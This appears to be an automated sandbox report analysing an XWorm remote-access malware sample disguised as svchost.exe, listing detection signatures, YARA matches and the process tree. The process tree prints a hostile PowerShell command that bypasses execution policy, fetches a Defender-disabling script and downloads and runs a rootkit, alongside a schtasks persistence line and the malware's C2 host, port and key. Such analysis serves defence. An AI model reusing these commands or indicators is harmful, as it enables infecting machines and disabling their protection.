Edit tour
Windows
Analysis Report
svchost.exe.bin.exe
Overview
General Information
| Sample name: | svchost.exe.bin.exe |
| Analysis ID: | 1634105 |
| MD5: | 2b42433cc8d3450d015d04a3c8662558 |
| SHA1: | 0932042702ed80152a37c564aeb2114dc48dd3af |
| SHA256: | 075151678431e9ed1a6f26563f7a2143517bec7741c6dc53a106fbad4fe2d41a |
| Tags: | exeuser-TornadoAV_dev |
| Infos: |   |
 | |
Detection
XWorm
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Sigma detected: Schedule system process
Yara detected Powershell download and execute
Yara detected XWorm
.NET source code contains potential unpacker
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Connects to many ports of the same IP (likely port scanning)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Joe Sandbox ML detected suspicious sample
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to download and execute files (via powershell)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
svchost.exe.bin.exe (PID: 6992 cmdline: "C:\Users\ user\Deskt op\svchost .exe.bin.e xe" MD5: 2B42433CC8D3450D015D04A3C8662558) 
powershell.exe (PID: 2876 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Executio nPolicy By pass -Comm and "$sett ings = '{\ "WD\": fal se, \"admi nrun\": fa lse}' | Co nvertFrom- Json; $ran domString = \"2PewmO BXXq\"; if ($setting s.WD) { $s ettings.ad minrun = $ true; (New -Object Sy stem.Net.W ebClient). DownloadFi le(\"https ://raw.git hubusercon tent.com/n inhpn1337/ Disable-Wi ndows-Defe nder/main/ source.bat \", $env:T EMP + '\' + $randomS tring + '. bat'); Sta rt-Process -FilePath ($env:TEM P + '\' + $randomStr ing + '.ba t') -Windo wStyle Hid den -Wait -Verb RunA s; }; if ( $settings. adminrun) { $url = \ "https://g ithub.com/ charlie-60 /R/raw/ref s/heads/ma in/MasonRo otkit.exe\ "; $output Path = $en v:TEMP + ' \' + 'Maso nRootkit.e xe'; (New- Object Sys tem.Net.We bClient).D ownloadFil e($url, $o utputPath) ; Start-Pr ocess $out putPath -V erb RunAs; } else { $url = \"h ttps://git hub.com/ch arlie-60/R /raw/refs/ heads/main /MasonRoot kit.exe\"; $outputPa th = $env: TEMP + '\' + 'MasonR ootkit.exe '; (New-Ob ject Syste m.Net.WebC lient).Dow nloadFile( $url, $out putPath); Start-Proc ess $outpu tPath; }" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 6884 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 4628 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /sc minute /mo 1 /tn "sv chost.exe. bin" /tr " C:\Users\u ser\AppDat a\Roaming\ svchost.ex e.bin.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 932 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- svchost.exe.bin.exe (PID: 7352 cmdline:
C:\Users\u ser\AppDat a\Roaming\ svchost.ex e.bin.exe MD5: 2B42433CC8D3450D015D04A3C8662558)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| XWorm | Malware with wide range of capabilities ranging from RAT to ransomware. | No Attribution |
{"C2 url": ["group-coupon.gl.at.ply.gg"], "Port": 24196, "Aes key": "<123456789>", "SPL": "<Neptune>", "Install file": "USB.exe"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
| rat_win_xworm_v2 | Finds XWorm v2 samples based on characteristic strings | Sekoia.io |
| |
| MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
| rat_win_xworm_v2 | Finds XWorm v2 samples based on characteristic strings | Sekoia.io |
| |
| MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
| MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
| MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
| Click to see the 2 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
| rat_win_xworm_v2 | Finds XWorm v2 samples based on characteristic strings | Sekoia.io |
| |
| MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Jonathan Cheong, oscd.community: | ||